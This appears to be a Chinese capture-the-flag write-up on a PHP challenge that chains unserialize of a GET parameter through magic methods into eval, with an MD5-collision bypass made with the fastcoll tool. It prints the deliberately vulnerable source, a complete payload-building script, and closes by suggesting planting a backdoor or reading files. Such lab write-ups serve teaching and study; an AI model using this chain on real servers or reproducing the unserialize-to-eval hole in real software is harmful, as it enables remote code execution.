PHP反序列化+MD5碰撞
PHP反序列化+MD5碰撞
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class Backdoor {
public $x;
public $y;
public function __invoke(){
if( is_string($this->x) && is_string($this->y) && ($this->x != $this->y) && (md5($this->x) === md5($this->y)) ){
if(!preg_match("/\<\?/", $this->x, $match)){
eval($this->x);
} else {
die("No Way!");
}
} else {
die("Keep it up......");
}
}
}
class Entrance{
public $name;
public $str;
public function __construct(){
$this->name = "Bunny";
}
public function __toString(){
return $this->str->name;
}
public function __wakeup(){
echo 'Welcome, '.$this->name."<br>";
}
}
class Test{
public $z;
public function __construct(){
$this->z = array();
}
public function __get($key){
$function = $this->z;
return $function();
}
}
if (isset($_GET['poc'])){
unserialize($_GET['poc']);
}
?>
分析:
首先,由unserialize可以很明显看出这是一道关于PHP反序列化的题,这种题通常需要先找一个入口。
检查代码后,很快发现一处PHP魔术方法__wakeup()
。
__wakeup():
unserialize()
会检查是否存在一个__wakeup()
方法。如果存在,则会先调用__wakeup
方法,
这个方法中虽然只是简单的输出了一句话,但是细心观察会发现__wakeup()
魔术方法的上面还有一个__toString()
的魔术方法。
__toString():
类被当成字符串时的回应方法。
__toString() 方法用于一个类被当成字符串时应怎样回应。例如
echo $obj;
应该显示些什么。
由此可猜测,可以将这个类自己赋值给$this->name,这样他在拼接字符串时就会触发__toString()
魔术方法。
再细看__toString
魔术方法中的内容,$this->str->name,由这个可猜测可以将某个类赋值给$this->str,然后去那个类里找name这个变量。
再回看源码,发现test类中有一个__get()
的魔术方法。
__get():
PHP中__get(),获得一个类的成员变量时调用
在 php 面向对象编程中,类的成员属性被设定为 private 后,如果我们试图在外面调用它则会出现“不能访问某个私有属性”的错误。那么为了解决这个问题,我们可以使用魔术方法 __get()。
结合上面的步骤,我们可以在反序列化的过程中给test类里添加一个私有变量name,这样在获取私有变量的时候就会触发__get()
魔术方法。
再来看__get()
魔术方法中的内容,他return了一个$function(),而$function = $this->z,这个地方很容易会想到将类当做函数去执行的操作,于是再检查代码,果然发现__invoke()
魔术方法。
__invoke():
__invoke(),调用函数的方式调用一个对象时的回应方法
作用:
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
注意:
本特性只在 PHP 5.3.0 及以上版本有效。
__invoke()
魔术方法中有过滤操作,它要求x和y的值都必须是一个字符串,他们两值不相等,但是MD5值要一样,最后还会将x的内容当做PHP代码来执行,也就是我们最终要利用的eval()函数!
整个过程差不多就是这样,如果直接看看不出来的话,也可以从后往前看,即找到可能被利用的地方往前推。
解答:
构造poc链
<?php
class Entrance{
public $name;
public $str;
}
class Test{
public $z;
private $name;
}
class Backdoor {
public $x;
public $y;
}
$a=new Entrance();
$b=new Test();
$c=new Backdoor();
$a->name=$a; //用来触发tostring
$a->str=$b; //用来触发get
$b->z=$c; //用来触发invoke
$c->x=file_get_contents("1_msg1.txt");
$c->y=file_get_contents("1_msg2.txt");
echo urlencode(serialize($a));//明文输出会存在不可见字符,所以记得url编码一下
?>
链子不难,只要3步就可以完成,这题难在最后MD5碰撞这块,随随便便找两个MD5值一样的字符串不难,但是还要将这个字符串当做PHP代码来执行的话,可能就不简单了。
自己一个一个的试肯定是不行的,这里得借助一个工具fastcoll。
资源下载
程序:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
源码:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5_source.zip
这个工具的作用就是你给他一串字符串,他会给你输出两段包含该字符串且MD5值一样的文件,有了这个工具后,这题就很简单了。
下面随便做个测试,用PHP代码输出99999。
首先准备一个1.txt,文件内容为
echo 999999;
将该文件拖到fastcoll.exe上,程序会自动生成两段文本。
检查该文本后发现,在代码后面跟着许多乱码字符串,所以我们可以在原文件后加上注释,于是修改1.txt
echo 999999;//
丢进fastcoll里给生成了两个文件,由于该文件内存在乱码,所以建议直接用file_get_contents来获取文件内容。
测试结果:
至此eval函数成功执行,最后可以尝试留后门,或直接读文件。